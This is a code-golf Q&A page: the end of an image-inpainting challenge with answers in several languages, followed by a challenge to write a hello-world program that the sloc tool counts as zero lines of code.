of the paper itself. It shows very little improvement. The main thing here is a possible object scoring method for this kind of challenge (and other image-repair challenges): ``` +-------+---------------+----------+ | Image | EBII Original | Improved | +-------+---------------+----------+ | 1 | 52.9556 | 53.7890 | | 2 | 53.9098 | 53.8989 | +-------+---------------+----------+ ``` Meh. ### Research to be done (Specific to EBII) a) Pre-Processing Everything comes down to the "Magic Erase" principle that the algorithm should "just work" for everything. My naive solution for this is a color-based amplification (see above), but there are better ways. I'm thinking of recognizing the geometric mean of all traceable texels to auto-adjust the window size and making the stamp size (also my improvement) dependent on texel- *and* whole-image resolution. Research has to be done here. b) Post-Processing The original authors already did a great job of debunking all post processing filters that come in mind. Today, I tried something else, inspired by the always uncanny Mona Lisa (thanks undergroundmonorail). If you take *just* the inpainted region and apply a new mask to all strange blocks of color and feed that into a despeckling algorithm, you're left with an almost perfect result. I may explore this some time in the future. --- [X] — [Object Removal by Exemplar-Based Inpainting by A. Criminisi, P. Perez, K. Toyama](https://web.archive.org/web/20061231002355/http://research.microsoft.com/vision/cambridge/papers/Criminisi_cvpr03.pdf) [1] — M. Ashikhmin. Synthesizing natural textures. In Proc. ACM Symp. on Interactive 3D Graphics, pp. 217–226, Research Triangle Park, NC, Mar 2001. [5] — M. Bertalmio, L. Vese, G. Sapiro, and S. Osher. Simultaneous structure and texture image inpainting. to appear, 2002 [6] — R. Bornard, E. Lecan, L. Laborelli, and J-H. Chenot. Missing data correction in still images and image sequences. In ACM Multimedia, France, Dec 2002. [7] — T. F. Chan and J. Shen. Non-texture inpainting by curvature-driven diffusions (CDD). J. Visual Comm. Image Rep., 4(12), 2001. [8] — J.S. de Bonet. Multiresolution sampling procedure for analysis and synthesis of texture images. In Proc. ACM Conf. Comp. Graphics (SIGGRAPH), volume 31, pp. 361–368, 1997. [9] — A. Efros and W.T. Freeman. Image quilting for texture synthesis and transfer. In Proc. ACM Conf. Comp. Graphics (SIGGRAPH), pp. 341–346, Eugene Fiume, Aug 2001. [10] — A. Efros and T. Leung. Texture synthesis by non-parametric sampling. In Proc. ICCV, pp. 1033–1038, Kerkyra, Greece, Sep 1999. [11] — W.T. Freeman, E.C. Pasztor, and O.T. Carmichael. Learning low level vision. Int. J. Computer Vision, 40(1):25–47, 2000. [12] — D. Garber. Computational Models for Texture Analysis and Texture Synthesis. PhD thesis, Univ. of Southern California, USA, 1981. [13] — P. Harrison. A non-hierarchical procedure for re-synthesis of complex texture. In Proc. Int. Conf. Central Europe Comp. Graphics, Visua. and Comp. Vision, Plzen, Czech Republic, Feb 2001. [14] — D.J. Heeger and J.R. Bergen. Pyramid-based texture analysis/synthesis. In Proc. ACM Conf. Comp. Graphics (SIGGRAPH), volume 29, pp. 229–233, Los Angeles, CA, 1995. [15] — A. Hertzmann, C. Jacobs, N. Oliver, B. Curless, and D. Salesin. Image analogies. In Proc. ACM Conf. Comp. Graphics (SIGGRAPH), Eugene Fiume, Aug 2001. [16] — H. Igehy and L. Pereira. Image replacement through texture synthesis. In Proc. Int. Conf. Image Processing, pp. III:186–190, 1997. [17] — G. Kanizsa. Organization in Vision. Praeger, New York, 1979. [19] — L. Liang, C. Liu, Y.-Q. Xu, B. Guo, and H.-Y. Shum. Real-time texture synthesis by patch-based sampling. In ACM Transactions on Graphics, 2001. [22] — L.-W. Wey and M. Levoy. Fast texture synthesis using tree-structured vector quantization. In Proc. ACM Conf. Comp. Graphics (SIGGRAPH), 2000. [23] — A. Zalesny, V. Ferrari, G. Caenen, and L. van Gool. Parallel composite texture synthesis. In Texture 2002 workshop - (in conjunction with ECCV02), Copenhagen, Denmark, Jun 2002. [24] — [AkurKumar Patel, Gujarat Technological University, Computer Science and Engineering](https://gtu-in.academia.edu/AnkurKumarPatel) [25] — [Improved Robust Algorithm For Exemplar Based Image Inpainting](https://www.academia.edu/8602233/Improved_Robust_Algorithm_For_Exemplar_Based_Image_Inpainting) [26] — [Wikipedia, Peak-Signal-to-Noise-Ratio](https://en.wikipedia.org/wiki/Peak_signal-to-noise_ratio) [Answer] # Matlab This is a simple interpolation approach. The idea is first mirroring what is on each side of the patch. Then those mirror image pixels are interpolated by how close they are to the corresponding edge: ![](https://i.stack.imgur.com/hd47K.png) The tricky part was finding a nice interpolation weights. After some playing around I came up with a rational function that is zero on all edges except the one where we mirrored at. This is then transformed by a third degree polynomial for some smoothing: ![](https://i.stack.imgur.com/edZEb.png) ![](https://latex.codecogs.com/gif.latex?%5Cdpi%7B100%7D%20%5Csmall%20%5Cbegin%7Balign*%7D%20w%28x%2Cy%29%20%26%3A%3D%20%5Cfrac%7B%28x-1%29y%28y-1%29%7D%7B%28x+y%29%28x+1-y%29%7D%20%26%20%28x%2Cy%29%26%20%5Cin%20%5B0%2C1%5D%5E2%20%5C%5C%20f%28x%29%20%26%3A%3D%20-2x%5E3+3x%5E2%20%26x%20%26%5Cin%20%5B0%2C1%5D%5Cend%7Balign*%7D) This simple approach does surprisingly well on "natural" images, but as soon as you are confronted with sharp edges, the game is over. In the *american gothic* example the spikes of the hay fork line up nicely with the pixel grid, which makes it look quite nice, but it would have been much worse otherwise. So here the results: ![](https://i.stack.imgur.com/wzIi6.png) ![](https://i.stack.imgur.com/lJ2Yy.png) ![](https://i.stack.imgur.com/9Pp46.png) ![](https://i.stack.imgur.com/28f7U.png) ![](https://i.stack.imgur.com/DWC3f.png) ![](https://i.stack.imgur.com/SJpyq.png) And finally, the code: ``` imgfile= 'filename.png'; maskfile = [imgfile(1:end-4),'_mask.png']; img = double(imread(imgfile)); mask = rgb2gray(imread(maskfile)); %% read mask xmin = find(sum(mask,1),1,'first'); xmax = find(sum(mask,1),1,'last'); ymin = find(sum(mask,2),1,'first'); ymax = find(sum(mask,2),1,'last'); %% weight transformation functiosn third = @(x)-2* x.^3 + 3* x.^2; f=@(x)third(x); w=@(x,y)y.*(x-1).*(y-1)./( (x+y).*(x+1-y)); for x=xmin:xmax for y=ymin:ymax %Left Right Up Down; P = [img(y,xmin-(x-xmin)-1,:);img(y,xmax+(xmax-x)+1,:);img(ymin-(y-ymin)-1,x,:);img(ymax+(ymax-y)+1,x,:)]; % normalize coordinates rx = (x-xmin)/(xmax-xmin); ry = (y-ymin)/(ymax-ymin); % calculate the weights W = [w(rx,ry),w(1-rx,ry),w(ry,rx),w(1-ry,rx)]'; W = f(W); W(isnan(W))=1; img(y,x,:) = sum(bsxfun(@times,P,W),1)/sum(W); end end imshow(img/255); imwrite(img/255,[imgfile(1:end-4),'_out.png']); ``` [Answer] # Mathematica This uses Mathematica's [`Inpaint`](https://reference.wolfram.com/language/ref/Inpaint.html) function. Because Mathematica itself does all the heavy lifting, this is a community wiki. `inPaint` (below) is a simple adaptation of `Inpaint`. For colored paintings/photos, it uses the default, "TextureSynthesis", setting. If it detects that the picture is black and white (because the image data of the picture is the same as the image data of the binary form of the picture), it then binarizes the image and applies the "TotalVariation" patch. The `If` clause either applies `Binarize` or `Identity` to the picture. (The `Identity` function returns its argument unchanged.) ``` inPaint[picture_, mask_] := If[bw = ImageData@Rasterize[Binarize[picture]] == ImageData[picture], Binarize, Identity]@ Inpaint[picture, mask, Method -> If[bw, "TotalVariation", "TextureSynthesis"]] ``` --- The image and mask are entered as arguments to `inPaint`. `Partition` and `Grid` are merely for formatting purposes. [![input](https://i.stack.imgur.com/TDJu8.png)](https://i.stack.imgur.com/TDJu8.png) The outputs have been patched. There was no retouching of the images after `inPaint`. [![output](https://i.stack.imgur.com/chfr5.jpg)](https://i.stack.imgur.com/chfr5.jpg) [Answer] # Python 2 and PIL This program blends copies of regions North, South, East, and West to create replacement pixels that use colours, textures, and shading from the local image region. The example outputs: [![](https://i.stack.imgur.com/6fX2I.png)](https://i.stack.imgur.com/6fX2I.png) [![](https://i.stack.imgur.com/X4Fcp.png)](https://i.stack.imgur.com/X4Fcp.png) [![](https://i.stack.imgur.com/YlpKa.png)](https://i.stack.imgur.com/YlpKa.png) [![](https://i.stack.imgur.com/jV1PY.png)](https://i.stack.imgur.com/jV1PY.png) [![](https://i.stack.imgur.com/isCCF.png)](https://i.stack.imgur.com/isCCF.png) [![](https://i.stack.imgur.com/Mvhv9.png)](https://i.stack.imgur.com/Mvhv9.png) The code first finds the bounding box for the patch. Then for each pixel to be generated, it computes the colour of each channel (RGB) based on the weighted sum of the 4 surrounding regions. ``` import sys from PIL import Image infile, maskfile, outfile = sys.argv[1:4] imageobj = Image.open(infile) maskobj = Image.open(maskfile) image = imageobj.load() mask = maskobj.load() assert imageobj.size == maskobj.size W, H = imageobj.size pixels = [(x,y) for x in range(W) for y in range(H)] whitepart = [xy for xy in pixels if sum(mask[xy]) > 230*3] xmin = min(x for x,y in whitepart) xmax = max(x for x,y in whitepart) ymin = min(y for x,y in whitepart) ymax = max(y for x,y in whitepart) xspan = xmax - xmin + 1 yspan = ymax - ymin + 1 def mkcolor(channel): value = image[(xmin-dx, y)][channel] * 0.5*(xspan - dx)/xspan value += image[(xmax+1 + xspan - dx, y)][channel] * 0.5*dx/xspan value += image[(x, ymin-dy)][channel] * 0.5*(yspan - dy)/yspan value += image[(x, ymax+1 + yspan - dy)][channel] * 0.5*dy/yspan return int(value) for dx in range(xspan): for dy in range(yspan): x = xmin + dx y = ymin + dy image[(x, y)] = (mkcolor(0), mkcolor(1), mkcolor(2)) imageobj.save(outfile) ``` [Answer] ## Python 3, PIL This program uses the sobel operator, and draws lines onto the image based on that. The sobel operator finds the angle of each edge, so any edges extruding into the unknown area should continue. ``` from PIL import Image, ImageFilter, ImageDraw import time im=Image.open('2.png') im1=Image.open('2 map.png') a=list(im.getdata()) b=list(im1.getdata()) size=list(im.size) ''' def dist(a,b): d=0 for x in range(0,3): d+=(a[x]-b[x])**2 return(d**0.5) #''' C=[] d=[] y=[] for x in range(0,len(a)): if(b[x][0]==255): C.append((0,0,0)) else: y=(a[x][0],a[x][1],a[x][2]) C.append(y) im1.putdata(C) k=(-1,0,1,-2,0,2,-1,0,1) k1=(-1,-2,-1,0,0,0,1,2,1) ix=im.filter(ImageFilter.Kernel((3,3),k,1,128)) iy=im.filter(ImageFilter.Kernel((3,3),k1,1,128)) ix1=list(ix.getdata()) iy1=list(iy.getdata()) d=[] im2=Image.new('RGB',size) draw=ImageDraw.Draw(im2) c=list(C) Length=0 for L in range(100,0,-10): for x in range(0,size[0]): for y in range(0,size[1]): n=x+(size[0]*y) if(c[n]!=(0,0,0)): w=(((iy1[n][0]+iy1[n][1]+iy1[n][2])//3)-128) z=(((ix1[n][0]+ix1[n][1]+ix1[n][2])//3)-128) Length=(w**2+z**2)**0.5 if Length==0: w+=1 z+=1 Length=(w**2+z**2)**0.5 w/=(Length/L) z/=(Length/L) w=int(w) z=int(z) draw.line(((x,y,w+x,z+y)),c[n]) d=list(im2.getdata()) S=[] d1=[] A=d[0] for x in range(0,size[0]): for y in range(0,size[1]): n=y+(size[1]*x) nx=y+(size[1]*x)-1 ny=y+(size[1]*x)-size[0] if d[n]==(0,0,0): S=[0,0,0] for z in range(0,3): S[z]=(d[nx][z]+d[ny][z])//2 #print(S) d1.append(tuple(S)) else: d1.append(tuple(d[n])) d=list(d1) im2.putdata(d) #im2=im2.filter(ImageFilter.GaussianBlur(radius=0.5)) d=im2.getdata() f=[] #''' for v in range(0,len(a)): if(b[v][0]*b[v][1]*b[v][2]!=0): f.append(d[v]) else: f.append(C[v]) #''' im1.putdata(f) im1.save('pic.png') ``` Meanwhile, here are the sample images. [![enter image description here](https://i.stack.imgur.com/x8bQf.png)](https://i.stack.imgur.com/x8bQf.png) [![enter image description here](https://i.stack.imgur.com/mTL4W.png)](https://i.stack.imgur.com/mTL4W.png) [![enter image description here](https://i.stack.imgur.com/XrO2x.png)](https://i.stack.imgur.com/XrO2x.png) Mona Lisa Mona Lisa Ḿ͠oǹ̰͎̣a ̾̇Lisa Ḿ͠o̢̎̓̀ǹ̰͎̣aͧ̈ͤ ̣̖̠̮̘̹̠̾̇ͣLisa Ḿ̳̜͇͓͠o̢̎̓̀ǹ̰͎̣͙a̤̩̖̞̝ͧ̈ͤͤ ̣̖̠̮̘̹̠̾̇ͣL͉̻̭͌i̛̥͕̱͋͌ş̠͔̏̋̀ạ̫͕͎ͨͮͪ̐͡ͅ [![enter image description here](https://i.stack.imgur.com/D3gQJ.png)](https://i.stack.imgur.com/D3gQJ.png) The area in the above image is as smooth as a cactus It is not very good with constant color. [![enter image description here](https://i.stack.imgur.com/T9o7S.png)](https://i.stack.imgur.com/T9o7S.png) [![enter image description here](https://i.stack.imgur.com/76WxQ.png)](https://i.stack.imgur.com/76WxQ.png) [Answer] # Python 2 Simple python script that creates patch using values from pixels just outside gap. It takes color values from end of pixels' row and column and calculates weighted average using distance from those pixels. Output is not so pretty, but it's *art*. [![img1](https://i.stack.imgur.com/fKp1Z.png)](https://i.stack.imgur.com/fKp1Z.png) [![img2](https://i.stack.imgur.com/7R7GI.png)](https://i.stack.imgur.com/7R7GI.png) [![img3](https://i.stack.imgur.com/K4bGv.png)](https://i.stack.imgur.com/K4bGv.png) [![img4](https://i.stack.imgur.com/vkYMh.png)](https://i.stack.imgur.com/vkYMh.png) [![img5](https://i.stack.imgur.com/zUcWV.png)](https://i.stack.imgur.com/zUcWV.png) [![img6](https://i.stack.imgur.com/yj91k.png)](https://i.stack.imgur.com/yj91k.png) And then, code: ``` IMGN = "6" IMGFILE = "images/img%s.png" % (IMGN,) MASKFILE = "images/img%s_mask.png" % (IMGN,) BLUR = 5 def getp(img,pos): return img.get_at(pos)[:3] def setp(img,pos,color): img.set_at(pos, map(int, color)) def pixelavg(L): return map(int, [sum([i[q] for i in L])/float(len(L)) for q in [0,1,2]]) def pixelavg_weighted(L, WL): # note: "inverse" weights. More weight => less weight # colors [sum, max] color_data = [[0, 0], [0, 0], [0, 0]] for color,weight in zip(L, WL): for i in [0, 1, 2]: # r,g,b color_data[i][0] += inv_w_approx(weight) * color[i] color_data[i][1] += inv_w_approx(weight) * 255 return [255*(float(s)/m) for s,m in color_data] def inv_w_approx(x): return (1.0/(x+1e-10)) import pygame image = pygame.image.load(IMGFILE) mask = pygame.image.load(MASKFILE) size = image.get_size() assert(size == mask.get_size()) # get square from mask min_pos = None max_pos = [0, 0] for x in range(size[0]): for y in range(size[1]): if getp(mask, [x, y]) == (255, 255, 255): if min_pos == None: min_pos = [x, y] max_pos = [x, y] if not min_pos: exit("Error: no mask found.") # patch area info patch_position = min_pos[:] patch_size = [max_pos[0]-min_pos[0], max_pos[1]-min_pos[1]] # remove pixels from orginal image (fill black) for dx in range(patch_size[0]): for dy in range(patch_size[1]): setp(image, [patch_position[0]+dx, patch_position[1]+dy], [0, 0, 0]) # create patch patch = pygame.Surface(patch_size) # take pixels around the patch top = [getp(image, [patch_position[0]+dx, patch_position[1]-1]) for dx in range(patch_size[0])] bottom = [getp(image, [patch_position[0]+dx, patch_position[1]+patch_size[1]+1]) for dx in range(patch_size[0])] left = [getp(image, [patch_position[0]-1, patch_position[1]+dy]) for dy in range(patch_size[1])] right = [getp(image, [patch_position[0]+patch_size[0]+1, patch_position[1]+dy]) for dy in range(patch_size[1])] cpixels = top+left+right+bottom # set area to average color around it average = [sum([q[i] for q in cpixels])/float(len(cpixels)) for i in [0, 1, 2]] for dx in range(patch_size[0]): for dy in range(patch_size[1]): setp(patch, [dx, dy], average) # create new pixels for dx in range(patch_size[0]): for dy in range(patch_size[1]): setp(patch, [dx, dy], pixelavg_weighted([top[dx], bottom[dx], left[dy], right[dy]], [dy, patch_size[1]-dy, dx, patch_size[0]-dx])) # apply patch for dx in range(patch_size[0]): for dy in range(patch_size[1]): setp(image, [patch_position[0]+dx, patch_position[1]+dy], getp(patch, [dx, dy])) # blur patch? for r in range(BLUR): for dx in range(patch_size[0]): for dy in range(patch_size[1]): around = [] for ddx in [-1,0,1]: for ddy in [-1,0,1]: around.append(getp(image, [patch_position[0]+dx+ddx, patch_position[1]+dy+ddy])) setp(patch, [dx, dy], pixelavg(around)) # apply blurred patch for dx in range(patch_size[0]): for dy in range(patch_size[1]): setp(image, [patch_position[0]+dx, patch_position[1]+dy], getp(patch, [dx, dy])) # save result pygame.image.save(image, "result.png") ``` [Answer] # Mathematica ``` Inpaint ``` It just so happens that *Mathematica* has a built-in function that performs exactly this task, and I mean **exactly**: > > [`Inpaint[image, region]`](https://reference.wolfram.com/language/ref/Inpaint.html) > > > * retouches parts of `image` that correspond to nonzero elements in `region`. > > > By default it uses a "best-fit texture synthesis method using random sampling" which produces good results on the paintings, but poor results for the maze and checkerboard: ![enter image description here](https://i.stack.imgur.com/rwOxs.png) ![enter image description here](https://i.stack.imgur.com/jFvEh.png) ![enter image description here](https://i.stack.imgur.com/D0xPc.png) ![enter image description here](https://i.stack.imgur.com/bBuOh.png) ![enter image description here](https://i.stack.imgur.com/4jfXD.png) ![enter image description here](https://i.stack.imgur.com/IsWrU.png) Playing around with the settings didn't net me an increase in quality across all of the images, so I just used the defaults (to save bytes—this is `codegolf.se` after all!). [Answer] # Python3 This answer implements the idea in the paper ["Deep Image Prior"](https://dmitryulyanov.github.io/deep_image_prior) by Ulyanov et al. (CVPR 2018) In this paper they explored the idea that the way well performing neural nets for image processing are designed closely reflects our idea of what a natural image should look like (the "prior" distribution). They proposed a method that can be used for inpainting as well as noise and artifact removal that just uses the given image with no training on any other data. The actual concept is quite simple: The net is trained to output the desired image (for some fixed random noise as input) by penalizing only the erros outside some given mask. If you want to remove noise, you just don't need to mask anything, but just stop early in the training. For inpainting you mask the part you want to inpaint and train until convergence. It is certainly not state-of-the-art, but I still wanted to post try it and post it here due to the simplicity of the idea and the still remarkable performance. In my experiments the inpainting of larger patches didn't turn out that well but for smaller segments the results can be a lot more convincing. I implemented this using the popular [U-Net architecture](https://lmb.informatik.uni-freiburg.de/people/ronneber/u-net/) from [jaxony on github](https://github.com/jaxony/unet-pytorch). The code for training and processing the images can be found below. ### Training This is a visualization of the training process. Every frame is the state ofter a certain number of iterations: ![](https://i.imgur.com/iY9DoS4.gif) ### Examples ![](https://i.stack.imgur.com/Am9YF.png) ![](https://i.stack.imgur.com/ZcEZM.png) ![](https://i.stack.imgur.com/bA0tF.png) ![](https://i.stack.imgur.com/SNx4M.png) ![](https://i.stack.imgur.com/YHEXr.png) ![](https://i.stack.imgur.com/Zut2C.png) ![](https://i.stack.imgur.com/ebm9O.png) ![](https://i.stack.imgur.com/81Fu8.png) ![](https://i.stack.imgur.com/n7RBf.png) ![](https://i.stack.imgur.com/dbQE9.png) ![](https://i.stack.imgur.com/uNpAs.png) ![](https://i.stack.imgur.com/02rJp.png) ### Code Note that on a cpu this can take hours to run for just a single image, while a good cuda enabled gpu might take a lot less time. ``` import torch import numpy as np unet = __import__('unet-pytorch') import PIL.ImageOps #specify device (cpu/cuda) device = "cpu" #specify file and size file = 'mona' size = 512 #pad to this size (no smaller than original image), must be divisible by 2^5 img_pil = PIL.Image.open(file +'.png').convert('RGB') mask_pil = PIL.Image.open(file +'-mask.png').convert('RGB') net = unet.UNet(num_classes=3, in_channels=32, depth=6, start_filts=64).to(device) h,w = img_pil.size pad = (0, 0, size - h, size - w) img = PIL.ImageOps.expand(img_pil, border=pad) img = torch.Tensor(np.array(img).transpose([2, 0, 1])[None, :, :, :].astype(np.double)).to(device) mask = PIL.ImageOps.expand(mask_pil, border=pad) mask = torch.Tensor((np.array(mask)==0).transpose([2, 0, 1])[None, 0:3, :, :].astype(np.double)).to(device) mean = img.mean() std = img.std() img = (img - mean)/std optimizer = torch.optim.Adam(net.parameters(), lr=0.0001) criterion = torch.nn.MSELoss() input = torch.rand((1, 32, size, size)).to(device) for it in range(5000): if it == 1000: optimizer.param_groups[0]['lr'] = 0.00003 out = net(input) loss = criterion(out * mask, img * mask) optimizer.zero_grad() loss.backward() optimizer.step() out = out.detach().cpu().numpy()[0].transpose([1,2,0])*std.item() + mean.item() out = np.clip(out, 0, 255).astype(np.uint8)[0:w, 0:h, :] mask_np = (np.array(mask_pil) > 0).astype(np.uint8) img_np = np.array(img_pil) inpaint = (img_np * (1-mask_np) + mask_np * out).astype(np.uint8) PIL.Image.fromarray(inpaint).save('./{}_inpainted.png'.format(file)) ``` [Answer] # Python with OpenCV OpenCV has a function called inpaint. There are two types of inpainting used, I will use the Fast Marching Method. According to the documentation, the algorithm works like this: > > Consider a region in the image to be inpainted. Algorithm starts from the boundary of this region and goes inside the region gradually filling everything in the boundary first. It takes a small neighbourhood around the pixel on the neigbourhood to be inpainted. This pixel is replaced by normalized weighted sum of all the known pixels in the neigbourhood. Selection of the weights is an important matter. More weightage is given to those pixels lying near to the point, near to the normal of the boundary and those lying on the boundary contours. Once a pixel is inpainted, it moves to next nearest pixel using Fast Marching Method. FMM ensures those pixels near the known pixels are inpainted first, so that it just works like a manual heuristic operation. > > > Here is the code\*: ``` import numpy as np import cv2 from matplotlib import pyplot as plt img = cv2.imread('gothic.jpg') b,g,r = cv2.split(img) img2 = cv2.merge([r,g,b]) mask = cv2.imread('mask.jpg',0) dst = cv2.inpaint(img2,mask,3,cv2.INPAINT_TELEA) (h, w) = dst.shape[:2] center = (w / 2, h / 2) # rotate the image by 180 degrees M = cv2.getRotationMatrix2D(center, 180, 1.0) rotated = cv2.warpAffine(dst, M, (w, h)) plt.imshow(rotated) ``` Note how I convert the BGR to RGB for plotting reasons. Also, I rotate it. Here are the results: [![Gothic](https://i.stack.imgur.com/fr1LK.png)](https://i.stack.imgur.com/fr1LK.png) [![starry night](https://i.stack.imgur.com/gwn50.png)](https://i.stack.imgur.com/gwn50.png) [![scream](https://i.stack.imgur.com/Ai9tC.png)](https://i.stack.imgur.com/Ai9tC.png) [![another creepy mona lisa!](https://i.stack.imgur.com/Z4ARO.png)](https://i.stack.imgur.com/Z4ARO.png) Mona Lisa returns! [![line 1](https://i.stack.imgur.com/MdcPe.png)](https://i.stack.imgur.com/MdcPe.png) [![checker](https://i.stack.imgur.com/Ilgs0.png)](https://i.stack.imgur.com/Ilgs0.png) As you can see, it i not the best with the two color ones. [Answer] # Java A color averaging approach. Can probably be improved. ``` import java.awt.Color; import java.awt.image.BufferedImage; import java.io.File; import java.util.Scanner; import javax.imageio.ImageIO; public class ImagePatcher{ public static void main(String[]args) throws Exception{ Scanner in=new Scanner(System.in); int white=Color.WHITE.getRGB(); int black=Color.BLACK.getRGB(); BufferedImage image=ImageIO.read(new File(in.nextLine())),mask=ImageIO.read(new File(in.nextLine())); assert(image.getWidth()==mask.getWidth()&&image.getHeight()==mask.getHeight()); boolean bool=true; while(bool){ bool=false; for(int x=0;x<image.getWidth();x+=2){ for(int y=0;y<image.getHeight();y+=2){ if(mask.getRGB(x,y)!=white)continue; int r=0,g=0,b=0,n=0; for(int dx=-1;dx<=1;dx++){ if(x+dx<0)continue; if(x+dx>=image.getWidth())continue; for(int dy=-1;dy<=1;dy++){ if(y+dy<0)continue; if(y+dy>=image.getHeight())continue; if(mask.getRGB(x+dx,y+dy)==white)continue; Color c=new Color(image.getRGB(x+dx,y+dy)); r+=c.getRed(); g+=c.getGreen(); b+=c.getBlue(); n++; } } if(n==0){bool=true;continue;} Color c=n>0?new Color(r/n,g/n,b/n):new Color(100,100,100); image.setRGB(x,y,c.getRGB()); mask.setRGB(x, y, black); } } for(int x=0;x<image.getWidth();x+=2){ for(int y=1;y<image.getHeight();y+=2){ if(mask.getRGB(x,y)!=white)continue; int r=0,g=0,b=0,n=0; for(int dx=-1;dx<=1;dx++){ if(x+dx<0)continue; if(x+dx>=image.getWidth())continue; for(int dy=-1;dy<=1;dy++){ if(y+dy<0)continue; if(y+dy>=image.getHeight())continue; if(mask.getRGB(x+dx,y+dy)==white)continue; Color c=new Color(image.getRGB(x+dx,y+dy)); r+=c.getRed(); g+=c.getGreen(); b+=c.getBlue(); n++; } } if(n==0){bool=true;continue;} Color c=n>0?new Color(r/n,g/n,b/n):new Color(100,100,100); image.setRGB(x,y,c.getRGB()); mask.setRGB(x, y, black); } } for(int x=1;x<image.getWidth();x+=2){ for(int y=0;y<image.getHeight();y+=2){ if(mask.getRGB(x,y)!=white)continue; int r=0,g=0,b=0,n=0; for(int dx=-1;dx<=1;dx++){ if(x+dx<0)continue; if(x+dx>=image.getWidth())continue; for(int dy=-1;dy<=1;dy++){ if(y+dy<0)continue; if(y+dy>=image.getHeight())continue; if(mask.getRGB(x+dx,y+dy)==white)continue; Color c=new Color(image.getRGB(x+dx,y+dy)); r+=c.getRed(); g+=c.getGreen(); b+=c.getBlue(); n++; } } if(n==0){bool=true;continue;} Color c=n>0?new Color(r/n,g/n,b/n):new Color(100,100,100); image.setRGB(x,y,c.getRGB()); mask.setRGB(x, y, black); } } for(int x=1;x<image.getWidth();x+=2){ for(int y=1;y<image.getHeight();y+=2){ if(mask.getRGB(x,y)!=white)continue; int r=0,g=0,b=0,n=0; for(int dx=-1;dx<=1;dx++){ if(x+dx<0)continue; if(x+dx>=image.getWidth())continue; for(int dy=-1;dy<=1;dy++){ if(y+dy<0)continue; if(y+dy>=image.getHeight())continue; if(mask.getRGB(x+dx,y+dy)==white)continue; Color c=new Color(image.getRGB(x+dx,y+dy)); r+=c.getRed(); g+=c.getGreen(); b+=c.getBlue(); n++; } } if(n==0){bool=true;continue;} Color c=n>0?new Color(r/n,g/n,b/n):new Color(100,100,100); image.setRGB(x,y,c.getRGB()); mask.setRGB(x, y, black); } } }; ImageIO.write(image, "png", new File("output.png")); } } ``` Results: ![enter image description here](https://i.stack.imgur.com/9yWci.png) ![enter image description here](https://i.stack.imgur.com/BqcdA.png) ![enter image description here](https://i.stack.imgur.com/NTHFQ.png) ![enter image description here](https://i.stack.imgur.com/3Kszu.png) ![enter image description here](https://i.stack.imgur.com/DT7Ef.png) ![enter image description here](https://i.stack.imgur.com/m1qGX.png) ]
[Question] [ NPM's [sloc](https://github.com/flosse/sloc) is a moderately popular tool for counting source lines of code in a file. The tool will attempt to strip out both single and multiline comments and count the remaining lines in order to get an estimate of the 'true' number of lines of code. However, the parser used is based on regular expressions and is quite simple, so it can be tricked. In this challenge, you will need to construct a hello world program that `sloc` counts as *zero lines of code*. ## The challenge 1. Download `sloc`. If you have npm, this can be done via `npm i sloc`. We will use the latest version as of the time of posting, which is `0.2.1`. Or, use the online testing environment linked at the bottom of this post. 2. Select any language that `sloc` supports. A full list is available [here](https://github.com/flosse/sloc#supported-languages). 3. Write a **full program** in that language that prints the exact string `Hello, World!` to stdout. The output may optionally have a trailing newline, but no other format is accepted. The program may output anything to stderr. However, to be considered a valid submission, `sloc` must see the program as zero lines of source code. You can verify this by running `sloc myprogram.ext`, which should read `Source : 0`. ## Example The following Python program is a valid submission: ``` '''"""''';print("Hello, World!");"""'''""" ``` If I run `sloc hello.py`, I get: ``` ---------- Result ------------ Physical : 1 Source : 0 Comment : 1 Single-line comment : 0 Block comment : 1 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ---------------------------- ``` Why? Well, [sloc uses `'''` or `"""` to determine if something is a mulitline comment](https://github.com/flosse/sloc/blob/6f74142bdc90e4d3a5cab98e14f42460fcd4c072/src/sloc.coffee#L89) in Python. However, it doesn't pair them up correctly. Thus Python parses our program as: ``` '''"""''';print("Hello, World!");"""'''""" \-------/ \--------------------/ \-------/ comment active code comment ``` But `sloc` parses it as: ``` '''"""''';print("Hello, World!");"""'''""" \----/\----------------------------/\----/ comment comment comment ``` (This is not the shortest valid Python submission, so it shouldn't stop you looking for shorter ones) ## Scoring The shortest program in bytes wins. ## A note on feasibility It might be a reasonable question to ask whether this is possible for all languages. I don't know, but all the ones I've looked at so far (Python, C, HTML) have at least one solution. So there's a very good chance it is possible in your language. There are a number of ideas that can work across multiple languages. ## Online test environment [Try it online!](https://tio.run/##tVltj9u4Ef6uX8G1e7CdteXdHA7IJXG217tre@ilAZoA/bD2HWSJtrSrtxPpXRub/PZ03ihTshO0H7oLiDQ1MxwOh88MR3G12Wht4iar7fPPw@Ew@JBmRtVNtW2iQkE3yYxtsvXO6kTtykQ3yqZaWd0URlUb@vH2lw8qz2JdGh0GP1b1ocm2qVXPr66fqxk2L9Q4nqi3UXO/M@ofVZqnkdHqdRFl@Z8LGp3dy2iY6DcB6hHc64NRC3UbKDWylY3ykaK/oarTg8niKIdJS01axFWikc5UuybWI6FrX/MwEsRVUejSjnyCx8ymSl4YkpKV27wnhYj4xQxHOgzrvIrvW/U8BnrRIS2yvU56pDSmdrVMQsqqqExO5/i5qO1hBIwaO/5MUXcu5NBMLFN5HGzRpBpBZxUEZVWSXKRbqPntb0uzmge6TN5tfsWV0uif5kVQ6sdfaUYeWpbzbUBiZRTGgPcZkG4DlO@IcTx89uHdT@9Cfhlstf2RFf15XzfamKwqcbPHeVRuJ2r2JghQZ7a36ttbhhcBKmJg@XGqkDEIeLGPqS7VICbXHkzVAFwzGcg7BXoPYYlPqzlMAB6X2mirysqqTZXn1SNsxPqgqlqXMImKd01@UOsmIu/xZDcotz7gMzf4LKo4zbBTZntsiKBZ4/MuJ2J6HqKC2pTfgwRfr3lnkjsSfGdIXsG/Ynrws66p4fE9UaVESg98Llvh8DdImSFlSmbIyoomiR4iUjKtpfkO2y293DZV9XA4EWdiQ1PnmtuGnibiX8YeaKEGzimJhn3aWOxYcyLqLkpoo7bEWu6I7l6ehplI3Y3hZ8YNja1NfiIwiRrijrZJ5Ft4/vT807zrJnlkNcmRBhQng8K2tozGgjxy@W@6W5TvaG0pL/mP3JtrNuuS6sZ/2xe0bsSLSoA97D2sPepRl7jMiuPLRs6BkM7n3q/xzUvPKkNw83IWR7XdNejcsK@72jeb@q1DzasG@MTz16GD8zNcPXN0UXlQcRo1CoKEGg1HHunEV8aX0Io/VWI59Kn0PopBCQCAr0j@H5c5vrnwqfU2stkDwExV3UepjpIOMax2OVxerM6vlWB6dD